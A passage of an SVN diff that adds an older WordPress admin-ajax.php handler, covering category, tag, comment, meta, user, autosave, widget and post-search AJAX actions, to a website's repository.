+		if ( '' === $slug )
+			continue;
+		if ( !$cat_id = is_term( $cat_name, 'link_category' ) ) {
+			$cat_id = wp_insert_term( $cat_name, 'link_category' );
+		}
+		$cat_id = $cat_id['term_id'];
+		$cat_name = esc_html(stripslashes($cat_name));
+		$x->add( array(
+			'what' => 'link-category',
+			'id' => $cat_id,
+			'data' => "<li id='link-category-$cat_id'><label for='in-link-category-$cat_id' class='selectit'><input value='" . esc_attr($cat_id) . "' type='checkbox' checked='checked' name='link_category[]' id='in-link-category-$cat_id'/> $cat_name</label></li>",
+			'position' => -1
+		) );
+	}
+	$x->send();
+	break;
+case 'add-cat' : // From Manage->Categories
+	check_ajax_referer( 'add-category' );
+	if ( !current_user_can( 'manage_categories' ) )
+		die('-1');
+
+	if ( '' === trim($_POST['cat_name']) ) {
+		$x = new WP_Ajax_Response( array(
+			'what' => 'cat',
+			'id' => new WP_Error( 'cat_name', __('You did not enter a category name.') )
+		) );
+		$x->send();
+	}
+
+	if ( category_exists( trim( $_POST['cat_name'] ), $_POST['category_parent'] ) ) {
+		$x = new WP_Ajax_Response( array(
+			'what' => 'cat',
+			'id' => new WP_Error( 'cat_exists', __('The category you are trying to create already exists.'), array( 'form-field' => 'cat_name' ) ),
+		) );
+		$x->send();
+	}
+
+	$cat = wp_insert_category( $_POST, true );
+
+	if ( is_wp_error($cat) ) {
+		$x = new WP_Ajax_Response( array(
+			'what' => 'cat',
+			'id' => $cat
+		) );
+		$x->send();
+	}
+
+	if ( !$cat || (!$cat = get_category( $cat )) )
+		die('0');
+
+	$level = 0;
+	$cat_full_name = $cat->name;
+	$_cat = $cat;
+	while ( $_cat->parent ) {
+		$_cat = get_category( $_cat->parent );
+		$cat_full_name = $_cat->name . ' &#8212; ' . $cat_full_name;
+		$level++;
+	}
+	$cat_full_name = esc_attr($cat_full_name);
+
+	$x = new WP_Ajax_Response( array(
+		'what' => 'cat',
+		'id' => $cat->term_id,
+		'position' => -1,
+		'data' => _cat_row( $cat, $level, $cat_full_name ),
+		'supplemental' => array('name' => $cat_full_name, 'show-link' => sprintf(__( 'Category <a href="#%s">%s</a> added' ), "cat-$cat->term_id", $cat_full_name))
+	) );
+	$x->send();
+	break;
+case 'add-link-cat' : // From Blogroll -> Categories
+	check_ajax_referer( 'add-link-category' );
+	if ( !current_user_can( 'manage_categories' ) )
+		die('-1');
+
+	if ( '' === trim($_POST['name']) ) {
+		$x = new WP_Ajax_Response( array(
+			'what' => 'link-cat',
+			'id' => new WP_Error( 'name', __('You did not enter a category name.') )
+		) );
+		$x->send();
+	}
+
+	$r = wp_insert_term($_POST['name'], 'link_category', $_POST );
+	if ( is_wp_error( $r ) ) {
+		$x = new WP_AJAX_Response( array(
+			'what' => 'link-cat',
+			'id' => $r
+		) );
+		$x->send();
+	}
+
+	extract($r, EXTR_SKIP);
+
+	if ( !$link_cat = link_cat_row( $term_id ) )
+		die('0');
+
+	$x = new WP_Ajax_Response( array(
+		'what' => 'link-cat',
+		'id' => $term_id,
+		'position' => -1,
+		'data' => $link_cat
+	) );
+	$x->send();
+	break;
+case 'add-tag' : // From Manage->Tags
+	check_ajax_referer( 'add-tag' );
+	if ( !current_user_can( 'manage_categories' ) )
+		die('-1');
+
+	if ( '' === trim($_POST['name']) ) {
+		$x = new WP_Ajax_Response( array(
+			'what' => 'tag',
+			'id' => new WP_Error( 'name', __('You did not enter a tag name.') )
+		) );
+		$x->send();
+	}
+
+	if ( !empty($_POST['taxonomy']) )
+		$taxonomy = $_POST['taxonomy'];
+	else
+		$taxonomy = 'post_tag';
+
+	$tag = wp_insert_term($_POST['name'], $taxonomy, $_POST );
+
+	if ( is_wp_error($tag) ) {
+		$x = new WP_Ajax_Response( array(
+			'what' => 'tag',
+			'id' => $tag
+		) );
+		$x->send();
+	}
+
+	if ( !$tag || (!$tag = get_term( $tag['term_id'], $taxonomy )) )
+		die('0');
+
+	$tag_full_name = $tag->name;
+	$tag_full_name = esc_attr($tag_full_name);
+
+	$x = new WP_Ajax_Response( array(
+		'what' => 'tag',
+		'id' => $tag->term_id,
+		'position' => '-1',
+		'data' => _tag_row( $tag, '', $taxonomy ),
+		'supplemental' => array('name' => $tag_full_name, 'show-link' => sprintf(__( 'Tag <a href="#%s">%s</a> added' ), "tag-$tag->term_id", $tag_full_name))
+	) );
+	$x->send();
+	break;
+case 'get-tagcloud' :
+	if ( !current_user_can( 'edit_posts' ) )
+		die('-1');
+
+	if ( isset($_POST['tax']) )
+		$taxonomy = sanitize_title($_POST['tax']);
+	else
+		die('0');
+
+	$tags = get_terms( $taxonomy, array( 'number' => 45, 'orderby' => 'count', 'order' => 'DESC' ) );
+
+	if ( empty( $tags ) )
+		die( __('No tags found!') );
+
+	if ( is_wp_error($tags) )
+		die($tags->get_error_message());
+
+	foreach ( $tags as $key => $tag ) {
+		$tags[ $key ]->link = '#';
+		$tags[ $key ]->id = $tag->term_id;
+	}
+
+	// We need raw tag names here, so don't filter the output
+	$return = wp_generate_tag_cloud( $tags, array('filter' => 0) );
+
+	if ( empty($return) )
+		die('0');
+
+	echo $return;
+
+	exit;
+	break;
+case 'add-comment' :
+	check_ajax_referer( $action );
+	if ( !current_user_can( 'edit_post', $id ) )
+		die('-1');
+	$search = isset($_POST['s']) ? $_POST['s'] : false;
+	$status = isset($_POST['comment_status']) ? $_POST['comment_status'] : 'all';
+	$per_page = isset($_POST['per_page']) ?  (int) $_POST['per_page'] + 8 : 28;
+	$start = isset($_POST['page']) ? ( intval($_POST['page']) * $per_page ) -1 : $per_page - 1;
+	if ( 1 > $start )
+		$start = 27;
+
+	$mode = isset($_POST['mode']) ? $_POST['mode'] : 'detail';
+	$p = isset($_POST['p']) ? $_POST['p'] : 0;
+	$comment_type = isset($_POST['comment_type']) ? $_POST['comment_type'] : '';
+	list($comments, $total) = _wp_get_comment_list( $status, $search, $start, 1, $p, $comment_type );
+
+	if ( get_option('show_avatars') )
+		add_filter( 'comment_author', 'floated_admin_avatar' );
+
+	if ( !$comments )
+		die('1');
+	$x = new WP_Ajax_Response();
+	foreach ( (array) $comments as $comment ) {
+		get_comment( $comment );
+		ob_start();
+			_wp_comment_row( $comment->comment_ID, $mode, $status, true, true );
+			$comment_list_item = ob_get_contents();
+		ob_end_clean();
+		$x->add( array(
+			'what' => 'comment',
+			'id' => $comment->comment_ID,
+			'data' => $comment_list_item
+		) );
+	}
+	$x->send();
+	break;
+case 'get-comments' :
+	check_ajax_referer( $action );
+
+	$post_ID = (int) $_POST['post_ID'];
+	if ( !current_user_can( 'edit_post', $post_ID ) )
+		die('-1');
+
+	$start = isset($_POST['start']) ? intval($_POST['start']) : 0;
+	$num = isset($_POST['num']) ? intval($_POST['num']) : 10;
+
+	list($comments, $total) = _wp_get_comment_list( false, false, $start, $num, $post_ID );
+
+	if ( !$comments )
+		die('1');
+
+	$comment_list_item = '';
+	$x = new WP_Ajax_Response();
+	foreach ( (array) $comments as $comment ) {
+		get_comment( $comment );
+		ob_start();
+			_wp_comment_row( $comment->comment_ID, 'single', false, false );
+			$comment_list_item .= ob_get_contents();
+		ob_end_clean();
+	}
+	$x->add( array(
+		'what' => 'comments',
+		'data' => $comment_list_item
+	) );
+	$x->send();
+	break;
+case 'replyto-comment' :
+	check_ajax_referer( $action );
+
+	$comment_post_ID = (int) $_POST['comment_post_ID'];
+	if ( !current_user_can( 'edit_post', $comment_post_ID ) )
+		die('-1');
+
+	$status = $wpdb->get_var( $wpdb->prepare("SELECT post_status FROM $wpdb->posts WHERE ID = %d", $comment_post_ID) );
+
+	if ( empty($status) )
+		die('1');
+	elseif ( in_array($status, array('draft', 'pending') ) )
+		die( __('Error: you are replying to a comment on a draft post.') );
+
+	$user = wp_get_current_user();
+	if ( $user->ID ) {
+		$comment_author       = $wpdb->escape($user->display_name);
+		$comment_author_email = $wpdb->escape($user->user_email);
+		$comment_author_url   = $wpdb->escape($user->user_url);
+		$comment_content      = trim($_POST['content']);
+		if ( current_user_can('unfiltered_html') ) {
+			if ( wp_create_nonce('unfiltered-html-comment_' . $comment_post_ID) != $_POST['_wp_unfiltered_html_comment'] ) {
+				kses_remove_filters(); // start with a clean slate
+				kses_init_filters(); // set up the filters
+			}
+		}
+	} else {
+		die( __('Sorry, you must be logged in to reply to a comment.') );
+	}
+
+	if ( '' == $comment_content )
+		die( __('Error: please type a comment.') );
+
+	$comment_parent = absint($_POST['comment_ID']);
+	$commentdata = compact('comment_post_ID', 'comment_author', 'comment_author_email', 'comment_author_url', 'comment_content', 'comment_type', 'comment_parent', 'user_ID');
+
+	$comment_id = wp_new_comment( $commentdata );
+	$comment = get_comment($comment_id);
+	if ( ! $comment ) die('1');
+
+	$modes = array( 'single', 'detail', 'dashboard' );
+	$mode = isset($_POST['mode']) && in_array( $_POST['mode'], $modes ) ? $_POST['mode'] : 'detail';
+	$position = ( isset($_POST['position']) && (int) $_POST['position']) ? (int) $_POST['position'] : '-1';
+	$checkbox = ( isset($_POST['checkbox']) && true == $_POST['checkbox'] ) ? 1 : 0;
+
+	if ( get_option('show_avatars') && 'single' != $mode )
+		add_filter( 'comment_author', 'floated_admin_avatar' );
+
+	$x = new WP_Ajax_Response();
+
+	ob_start();
+		if ( 'dashboard' == $mode ) {
+			require_once( ABSPATH . 'wp-admin/includes/dashboard.php' );
+			_wp_dashboard_recent_comments_row( $comment, false );
+		} else {
+			_wp_comment_row( $comment->comment_ID, $mode, false, $checkbox );
+		}
+		$comment_list_item = ob_get_contents();
+	ob_end_clean();
+
+	$x->add( array(
+		'what' => 'comment',
+		'id' => $comment->comment_ID,
+		'data' => $comment_list_item,
+		'position' => $position
+	));
+
+	$x->send();
+	break;
+case 'edit-comment' :
+	check_ajax_referer( 'replyto-comment' );
+
+	$comment_post_ID = (int) $_POST['comment_post_ID'];
+	if ( ! current_user_can( 'edit_post', $comment_post_ID ) )
+		die('-1');
+
+	if ( '' == $_POST['content'] )
+		die( __('Error: please type a comment.') );
+
+	$comment_id = (int) $_POST['comment_ID'];
+	$_POST['comment_status'] = $_POST['status'];
+	edit_comment();
+
+	$mode = ( isset($_POST['mode']) && 'single' == $_POST['mode'] ) ? 'single' : 'detail';
+	$position = ( isset($_POST['position']) && (int) $_POST['position']) ? (int) $_POST['position'] : '-1';
+	$checkbox = ( isset($_POST['checkbox']) && true == $_POST['checkbox'] ) ? 1 : 0;
+	$comments_listing = isset($_POST['comments_listing']) ? $_POST['comments_listing'] : '';
+
+	if ( get_option('show_avatars') && 'single' != $mode )
+		add_filter( 'comment_author', 'floated_admin_avatar' );
+
+	$x = new WP_Ajax_Response();
+
+	ob_start();
+		_wp_comment_row( $comment_id, $mode, $comments_listing, $checkbox );
+		$comment_list_item = ob_get_contents();
+	ob_end_clean();
+
+	$x->add( array(
+		'what' => 'edit_comment',
+		'id' => $comment->comment_ID,
+		'data' => $comment_list_item,
+		'position' => $position
+	));
+
+	$x->send();
+	break;
+case 'add-meta' :
+	check_ajax_referer( 'add-meta' );
+	$c = 0;
+	$pid = (int) $_POST['post_id'];
+	if ( isset($_POST['metakeyselect']) || isset($_POST['metakeyinput']) ) {
+		if ( !current_user_can( 'edit_post', $pid ) )
+			die('-1');
+		if ( isset($_POST['metakeyselect']) && '#NONE#' == $_POST['metakeyselect'] && empty($_POST['metakeyinput']) )
+			die('1');
+		if ( $pid < 0 ) {
+			$now = current_time('timestamp', 1);
+			if ( $pid = wp_insert_post( array(
+				'post_title' => sprintf('Draft created on %s at %s', date(get_option('date_format'), $now), date(get_option('time_format'), $now))
+			) ) ) {
+				if ( is_wp_error( $pid ) ) {
+					$x = new WP_Ajax_Response( array(
+						'what' => 'meta',
+						'data' => $pid
+					) );
+					$x->send();
+				}
+				if ( !$mid = add_meta( $pid ) )
+					die(__('Please provide a custom field value.'));
+			} else {
+				die('0');
+			}
+		} else if ( !$mid = add_meta( $pid ) ) {
+			die(__('Please provide a custom field value.'));
+		}
+
+		$meta = get_post_meta_by_id( $mid );
+		$pid = (int) $meta->post_id;
+		$meta = get_object_vars( $meta );
+		$x = new WP_Ajax_Response( array(
+			'what' => 'meta',
+			'id' => $mid,
+			'data' => _list_meta_row( $meta, $c ),
+			'position' => 1,
+			'supplemental' => array('postid' => $pid)
+		) );
+	} else {
+		$mid = (int) array_pop(array_keys($_POST['meta']));
+		$key = $_POST['meta'][$mid]['key'];
+		$value = $_POST['meta'][$mid]['value'];
+		if ( !$meta = get_post_meta_by_id( $mid ) )
+			die('0'); // if meta doesn't exist
+		if ( !current_user_can( 'edit_post', $meta->post_id ) )
+			die('-1');
+		if ( $meta->meta_value != stripslashes($value) ) {
+			if ( !$u = update_meta( $mid, $key, $value ) )
+				die('0'); // We know meta exists; we also know it's unchanged (or DB error, in which case there are bigger problems).
+		}
+
+		$key = stripslashes($key);
+		$value = stripslashes($value);
+		$x = new WP_Ajax_Response( array(
+			'what' => 'meta',
+			'id' => $mid, 'old_id' => $mid,
+			'data' => _list_meta_row( array(
+				'meta_key' => $key,
+				'meta_value' => $value,
+				'meta_id' => $mid
+			), $c ),
+			'position' => 0,
+			'supplemental' => array('postid' => $meta->post_id)
+		) );
+	}
+	$x->send();
+	break;
+case 'add-user' :
+	check_ajax_referer( $action );
+	if ( !current_user_can('create_users') )
+		die('-1');
+	require_once(ABSPATH . WPINC . '/registration.php');
+	if ( !$user_id = add_user() )
+		die('0');
+	elseif ( is_wp_error( $user_id ) ) {
+		$x = new WP_Ajax_Response( array(
+			'what' => 'user',
+			'id' => $user_id
+		) );
+		$x->send();
+	}
+	$user_object = new WP_User( $user_id );
+
+	$x = new WP_Ajax_Response( array(
+		'what' => 'user',
+		'id' => $user_id,
+		'data' => user_row( $user_object, '', $user_object->roles[0] ),
+		'supplemental' => array(
+			'show-link' => sprintf(__( 'User <a href="#%s">%s</a> added' ), "user-$user_id", $user_object->user_login),
+			'role' => $user_object->roles[0]
+		)
+	) );
+	$x->send();
+	break;
+case 'autosave' : // The name of this action is hardcoded in edit_post()
+	define( 'DOING_AUTOSAVE', true );
+
+	$nonce_age = check_ajax_referer( 'autosave', 'autosavenonce' );
+	global $current_user;
+
+	$_POST['post_category'] = explode(",", $_POST['catslist']);
+	if($_POST['post_type'] == 'page' || empty($_POST['post_category']))
+		unset($_POST['post_category']);
+
+	$do_autosave = (bool) $_POST['autosave'];
+	$do_lock = true;
+
+	$data = '';
+	/* translators: draft saved date format, see http://php.net/date */
+	$draft_saved_date_format = __('g:i:s a');
+	$message = sprintf( __('Draft Saved at %s.'), date_i18n( $draft_saved_date_format ) );
+
+	$supplemental = array();
+
+	$id = $revision_id = 0;
+	if($_POST['post_ID'] < 0) {
+		$_POST['post_status'] = 'draft';
+		$_POST['temp_ID'] = $_POST['post_ID'];
+		if ( $do_autosave ) {
+			$id = wp_write_post();
+			$data = $message;
+		}
+	} else {
+		$post_ID = (int) $_POST['post_ID'];
+		$_POST['ID'] = $post_ID;
+		$post = get_post($post_ID);
+
+		if ( $last = wp_check_post_lock( $post->ID ) ) {
+			$do_autosave = $do_lock = false;
+
+			$last_user = get_userdata( $last );
+			$last_user_name = $last_user ? $last_user->display_name : __( 'Someone' );
+			$data = new WP_Error( 'locked', sprintf(
+				$_POST['post_type'] == 'page' ? __( 'Autosave disabled: %s is currently editing this page.' ) : __( 'Autosave disabled: %s is currently editing this post.' ),
+				esc_html( $last_user_name )
+			) );
+
+			$supplemental['disable_autosave'] = 'disable';
+		}
+
+		if ( 'page' == $post->post_type ) {
+			if ( !current_user_can('edit_page', $post_ID) )
+				die(__('You are not allowed to edit this page.'));
+		} else {
+			if ( !current_user_can('edit_post', $post_ID) )
+				die(__('You are not allowed to edit this post.'));
+		}
+
+		if ( $do_autosave ) {
+			// Drafts are just overwritten by autosave
+			if ( 'draft' == $post->post_status ) {
+				$id = edit_post();
+			} else { // Non drafts are not overwritten.  The autosave is stored in a special post revision.
+				$revision_id = wp_create_post_autosave( $post->ID );
+				if ( is_wp_error($revision_id) )
+					$id = $revision_id;
+				else
+					$id = $post->ID;
+			}
+			$data = $message;
+		} else {
+			$id = $post->ID;
+		}
+	}
+
+	if ( $do_lock && $id && is_numeric($id) )
+		wp_set_post_lock( $id );
+
+	if ( $nonce_age == 2 ) {
+		$supplemental['replace-autosavenonce'] = wp_create_nonce('autosave');
+		$supplemental['replace-getpermalinknonce'] = wp_create_nonce('getpermalink');
+		$supplemental['replace-samplepermalinknonce'] = wp_create_nonce('samplepermalink');
+		$supplemental['replace-closedpostboxesnonce'] = wp_create_nonce('closedpostboxes');
+		if ( $id ) {
+			if ( $_POST['post_type'] == 'post' )
+				$supplemental['replace-_wpnonce'] = wp_create_nonce('update-post_' . $id);
+			elseif ( $_POST['post_type'] == 'page' )
+				$supplemental['replace-_wpnonce'] = wp_create_nonce('update-page_' . $id);
+		}
+	}
+
+	$x = new WP_Ajax_Response( array(
+		'what' => 'autosave',
+		'id' => $id,
+		'data' => $id ? $data : '',
+		'supplemental' => $supplemental
+	) );
+	$x->send();
+	break;
+case 'autosave-generate-nonces' :
+	check_ajax_referer( 'autosave', 'autosavenonce' );
+	$ID = (int) $_POST['post_ID'];
+	if($_POST['post_type'] == 'post') {
+		if(current_user_can('edit_post', $ID))
+			die(wp_create_nonce('update-post_' . $ID));
+	}
+	if($_POST['post_type'] == 'page') {
+		if(current_user_can('edit_page', $ID)) {
+			die(wp_create_nonce('update-page_' . $ID));
+		}
+	}
+	die('0');
+break;
+case 'closed-postboxes' :
+	check_ajax_referer( 'closedpostboxes', 'closedpostboxesnonce' );
+	$closed = isset( $_POST['closed'] ) ? $_POST['closed'] : '';
+	$closed = explode( ',', $_POST['closed'] );
+	$hidden = isset( $_POST['hidden'] ) ? $_POST['hidden'] : '';
+	$hidden = explode( ',', $_POST['hidden'] );
+	$page = isset( $_POST['page'] ) ? $_POST['page'] : '';
+
+	if ( !preg_match( '/^[a-z_-]+$/', $page ) )
+		die('-1');
+
+	if ( ! $user = wp_get_current_user() )
+		die('-1');
+
+	if ( is_array($closed) )
+		update_usermeta($user->ID, 'closedpostboxes_'.$page, $closed);
+
+	if ( is_array($hidden) ) {
+		$hidden = array_diff( $hidden, array('submitdiv', 'pagesubmitdiv', 'linksubmitdiv') ); // postboxes that are always shown
+		update_usermeta($user->ID, 'meta-box-hidden_'.$page, $hidden);
+	}
+
+	die('1');
+	break;
+case 'hidden-columns' :
+	check_ajax_referer( 'screen-options-nonce', 'screenoptionnonce' );
+	$hidden = isset( $_POST['hidden'] ) ? $_POST['hidden'] : '';
+	$hidden = explode( ',', $_POST['hidden'] );
+	$page = isset( $_POST['page'] ) ? $_POST['page'] : '';
+
+	if ( !preg_match( '/^[a-z_-]+$/', $page ) )
+		die('-1');
+
+	if ( ! $user = wp_get_current_user() )
+		die('-1');
+
+	if ( is_array($hidden) )
+		update_usermeta($user->ID, "manage-$page-columns-hidden", $hidden);
+
+	die('1');
+	break;
+case 'meta-box-order':
+	check_ajax_referer( 'meta-box-order' );
+	$order = isset( $_POST['order'] ) ? (array) $_POST['order'] : false;
+	$page_columns = isset( $_POST['page_columns'] ) ? (int) $_POST['page_columns'] : 0;
+	$page = isset( $_POST['page'] ) ? $_POST['page'] : '';
+
+	if ( !preg_match( '/^[a-z_-]+$/', $page ) )
+		die('-1');
+
+	if ( ! $user = wp_get_current_user() )
+		die('-1');
+
+	if ( $order )
+		update_user_option($user->ID, "meta-box-order_$page", $order);
+
+	if ( $page_columns )
+		update_usermeta($user->ID, "screen_layout_$page", $page_columns);
+
+	die('1');
+	break;
+case 'get-permalink':
+	check_ajax_referer( 'getpermalink', 'getpermalinknonce' );
+	$post_id = isset($_POST['post_id'])? intval($_POST['post_id']) : 0;
+	die(add_query_arg(array('preview' => 'true'), get_permalink($post_id)));
+break;
+case 'sample-permalink':
+	check_ajax_referer( 'samplepermalink', 'samplepermalinknonce' );
+	$post_id = isset($_POST['post_id'])? intval($_POST['post_id']) : 0;
+	$title = isset($_POST['new_title'])? $_POST['new_title'] : '';
+	$slug = isset($_POST['new_slug'])? $_POST['new_slug'] : '';
+	die(get_sample_permalink_html($post_id, $title, $slug));
+break;
+case 'inline-save':
+	check_ajax_referer( 'inlineeditnonce', '_inline_edit' );
+
+	if ( ! isset($_POST['post_ID']) || ! ( $post_ID = (int) $_POST['post_ID'] ) )
+		exit;
+
+	if ( 'page' == $_POST['post_type'] ) {
+		if ( ! current_user_can( 'edit_page', $post_ID ) )
+			die( __('You are not allowed to edit this page.') );
+	} else {
+		if ( ! current_user_can( 'edit_post', $post_ID ) )
+			die( __('You are not allowed to edit this post.') );
+	}
+
+	if ( $last = wp_check_post_lock( $post_ID ) ) {
+		$last_user = get_userdata( $last );
+		$last_user_name = $last_user ? $last_user->display_name : __( 'Someone' );
+		printf( $_POST['post_type'] == 'page' ? __( 'Saving is disabled: %s is currently editing this page.' ) : __( 'Saving is disabled: %s is currently editing this post.' ),	esc_html( $last_user_name ) );
+		exit;
+	}
+
+	$data = &$_POST;
+
+	$post = get_post( $post_ID, ARRAY_A );
+	$post = add_magic_quotes($post); //since it is from db
+
+	$data['content'] = $post['post_content'];
+	$data['excerpt'] = $post['post_excerpt'];
+
+	// rename
+	$data['user_ID'] = $GLOBALS['user_ID'];
+
+	if ( isset($data['post_parent']) )
+		$data['parent_id'] = $data['post_parent'];
+
+	// status
+	if ( isset($data['keep_private']) && 'private' == $data['keep_private'] )
+		$data['post_status'] = 'private';
+	else
+		$data['post_status'] = $data['_status'];
+
+	if ( empty($data['comment_status']) )
+		$data['comment_status'] = 'closed';
+	if ( empty($data['ping_status']) )
+		$data['ping_status'] = 'closed';
+
+	// update the post
+	edit_post();
+
+	$post = array();
+	if ( 'page' == $_POST['post_type'] ) {
+		$post[] = get_post($_POST['post_ID']);
+		page_rows($post);
+	} elseif ( 'post' == $_POST['post_type'] ) {
+		$mode = $_POST['post_view'];
+		$post[] = get_post($_POST['post_ID']);
+		post_rows($post);
+	}
+
+	exit;
+	break;
+case 'inline-save-tax':
+	check_ajax_referer( 'taxinlineeditnonce', '_inline_edit' );
+
+	if ( ! current_user_can('manage_categories') )
+		die( __('Cheatin&#8217; uh?') );
+
+	if ( ! isset($_POST['tax_ID']) || ! ( $id = (int) $_POST['tax_ID'] ) )
+		die(-1);
+
+	switch ($_POST['tax_type']) {
+		case 'cat' :
+			$data = array();
+			$data['cat_ID'] = $id;
+			$data['cat_name'] = $_POST['name'];
+			$data['category_nicename'] = $_POST['slug'];
+			if ( isset($_POST['parent']) && (int) $_POST['parent'] > 0 )
+				$data['category_parent'] = $_POST['parent'];
+
+			$cat = get_category($id, ARRAY_A);
+			$data['category_description'] = $cat['category_description'];
+
+			$updated = wp_update_category($data);
+
+			if ( $updated && !is_wp_error($updated) )
+				echo _cat_row( $updated, 0 );
+			else
+				die( __('Category not updated.') );
+
+			break;
+		case 'link-cat' :
+			$updated = wp_update_term($id, 'link_category', $_POST);
+
+			if ( $updated && !is_wp_error($updated) )
+				echo link_cat_row($updated['term_id']);
+			else
+				die( __('Category not updated.') );
+
+			break;
+		case 'tag' :
+			if ( !empty($_POST['taxonomy']) )
+				$taxonomy = $_POST['taxonomy'];
+			else
+				$taxonomy = 'post_tag';
+
+			$tag = get_term( $id, $taxonomy );
+			$_POST['description'] = $tag->description;
+
+			$updated = wp_update_term($id, $taxonomy, $_POST);
+			if ( $updated && !is_wp_error($updated) ) {
+				$tag = get_term( $updated['term_id'], $taxonomy );
+				if ( !$tag || is_wp_error( $tag ) )
+					die( __('Tag not updated.') );
+
+				echo _tag_row($tag);
+			} else {
+				die( __('Tag not updated.') );
+			}
+
+			break;
+	}
+
+	exit;
+	break;
+case 'find_posts':
+	check_ajax_referer( 'find-posts' );
+
+	if ( empty($_POST['ps']) )
+		exit;
+
+	$what = isset($_POST['pages']) ? 'page' : 'post';
+	$s = stripslashes($_POST['ps']);
+	preg_match_all('/".*?("|$)|((?<=[\\s",+])|^)[^\\s",+]+/', $s, $matches);
+	$search_terms = array_map(create_function('$a', 'return trim($a, "\\"\'\\n\\r ");'), $matches[0]);
+
+	$searchand = $search = '';
+	foreach( (array) $search_terms as $term) {
+		$term = addslashes_gpc($term);
+		$search .= "{$searchand}(($wpdb->posts.post_title LIKE '%{$term}%') OR ($wpdb->posts.post_content LIKE '%{$term}%'))";
+		$searchand = ' AND ';
+	}
+	$term = $wpdb->escape($s);
+	if ( count($search_terms) > 1 && $search_terms[0] != $s )
+		$search .= " OR ($wpdb->posts.post_title LIKE '%{$term}%') OR ($wpdb->posts.post_content LIKE '%{$term}%')";
+
+	$posts = $wpdb->get_results( "SELECT ID, post_title, post_status, post_date FROM $wpdb->posts WHERE post_type = '$what' AND $search ORDER BY post_date_gmt DESC LIMIT 50" );
+
+	if ( ! $posts )
+		exit( __('No posts found.') );
+
+	$html = '<table class="widefat" cellspacing="0"><thead><tr><th class="found-radio"><br /></th><th>'.__('Title').'</th><th>'.__('Time').'</th><th>'.__('Status').'</th></tr></thead><tbody>';
+	foreach ( $posts as $post ) {
+
+		switch ( $post->post_status ) {
+			case 'publish' :
+			case 'private' :
+				$stat = __('Published');
+				break;
+			case 'future' :
+				$stat = __('Scheduled');
+				break;
+			case 'pending' :
+				$stat = __('Pending Review');
+				break;
+			case 'draft' :
+				$stat = __('Unpublished');
+				break;
+		}
+
+		if ( '0000-00-00 00:00:00' == $post->post_date ) {
+			$time = '';
+		} else {
+			/* translators: date format in table columns, see http://php.net/date */
+			$time = mysql2date(__('Y/m/d'), $post->post_date);
+		}
+
+		$html .= '<tr class="found-posts"><td class="found-radio"><input type="radio" id="found-'.$post->ID.'" name="found_post_id" value="' . esc_attr($post->ID) . '"></td>';
+		$html .= '<td><label for="found-'.$post->ID.'">'.esc_html( $post->post_title ).'</label></td><td>'.esc_html( $time ).'</td><td>'.esc_html( $stat ).'</td></tr>'."\n\n";
+	}
+	$html .= '</tbody></table>';
+
+	$x = new WP_Ajax_Response();
+	$x->add( array(
+		'what' => $what,
+		'data' => $html
+	));
+	$x->send();
+
+	break;
+case 'lj-importer' :
+	check_ajax_referer( 'lj-api-import' );
+	if ( !current_user_can( 'publish_posts' ) )
+		die('-1');
+	if ( empty( $_POST['step'] ) )
+		die( '-1' );
+	define('WP_IMPORTING', true);
+	include( ABSPATH . 'wp-admin/import/livejournal.php' );
+	$result = $lj_api_import->{ 'step' . ( (int) $_POST['step'] ) }();
+	if ( is_wp_error( $result ) )
+		echo $result->get_error_message();
+	die;
+	break;
+case 'widgets-order' :
+	check_ajax_referer( 'save-sidebar-widgets', 'savewidgets' );
+
+	if ( !current_user_can('switch_themes') )
+		die('-1');
+
+	unset( $_POST['savewidgets'], $_POST['action'] );
+
+	// save widgets order for all sidebars
+	if ( is_array($_POST['sidebars']) ) {
+		$sidebars = array();
+		foreach ( $_POST['sidebars'] as $key => $val ) {
+			$sb = array();
+			if ( !empty($val) ) {
+				$val = explode(',', $val);
+				foreach ( $val as $k => $v ) {
+					if ( strpos($v, 'widget-') === false )
+						continue;
+
+					$sb[$k] = substr($v, strpos($v, '_') + 1);
+				}
+			}
+			$sidebars[$key] = $sb;
+		}
+		wp_set_sidebars_widgets($sidebars);
+		die('1');
+	}
+
+	die('-1');
+	break;
+case 'save-widget' :
+	check_ajax_referer( 'save-sidebar-widgets', 'savewidgets' );
+
+	if ( !current_user_can('switch_themes') || !isset($_POST['id_base']) )
+		die('-1');
+
+	unset( $_POST['savewidgets'], $_POST['action'] );
+
+	do_action('load-widgets.php');
+	do_action('widgets.php');
+	do_action('sidebar_admin_setup');
+
+	$id_base = $_POST['id_base'];
+	$widget_id = $_POST['widget-id'];
+	$sidebar_id = $_POST['sidebar'];
+	$multi_number = !empty($_POST['multi_number']) ? (int) $_POST['multi_number'] : 0;
+	$settings = isset($_POST['widget-' . $id_base]) && is_array($_POST['widget-' . $id_base]) ? $_POST['widget-' . $id_base] : false;
+	$error = '<p>' . __('An error has occured. Please reload the page and try again.') . '</p>';
+
+	$sidebars = wp_get_sidebars_widgets();
+	$sidebar = isset($sidebars[$sidebar_id]) ? $sidebars[$sidebar_id] : array();
+
+	// delete
+	if ( isset($_POST['delete_widget']) && $_POST['delete_widget'] ) {
+
+		if ( !isset($wp_registered_widgets[$widget_id]) )
+			die($error);
+
+		$sidebar = array_diff( $sidebar, array($widget_id) );
+		$_POST = array('sidebar' => $sidebar_id, 'widget-' . $id_base => array(), 'the-widget-id' => $widget_id, 'delete_widget' => '1');
+	} elseif ( $settings && preg_match( '/__i__|%i%/', key($settings) ) ) {
+		if ( !$multi_number )
+			die($error);
+
+		$_POST['widget-' . $id_base] = array( $multi_number => array_shift($settings) );
+		$widget_id = $id_base . '-' . $multi_number;
+		$sidebar[] = $widget_id;
+	}
+	$_POST['widget-id'] = $sidebar;
+
+	foreach ( (array) $wp_registered_widget_updates as $name => $control ) {
+
+		if ( $name == $id_base ) {
+			if ( !is_callable( $control['callback'] ) )
+				continue;
+
+			ob_start();
+				call_user_func_array( $control['callback'], $control['params'] );
+			ob_end_clean();
+			break;
+		}
+	}
+
+	if ( isset($_POST['delete_widget']) && $_POST['delete_widget'] ) {
+		$sidebars[$sidebar_id] = $sidebar;
+		wp_set_sidebars_widgets($sidebars);
+		echo "deleted:$widget_id";
+		die();
+	}
+
+	if ( !empty($_POST['add_new']) )
+		die();
+
+	if ( $form = $wp_registered_widget_controls[$widget_id] )
+		call_user_func_array( $form['callback'], $form['params'] );
+
+	die();
+	break;
+default :
+	do_action( 'wp_ajax_' . $_POST['action'] );
+	die('0');
+	break;
+endswitch;
+?>
Index: /trunk/www.guidonia.net/wp/wp-admin/admin-footer.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/admin-footer.php	(revision 44)
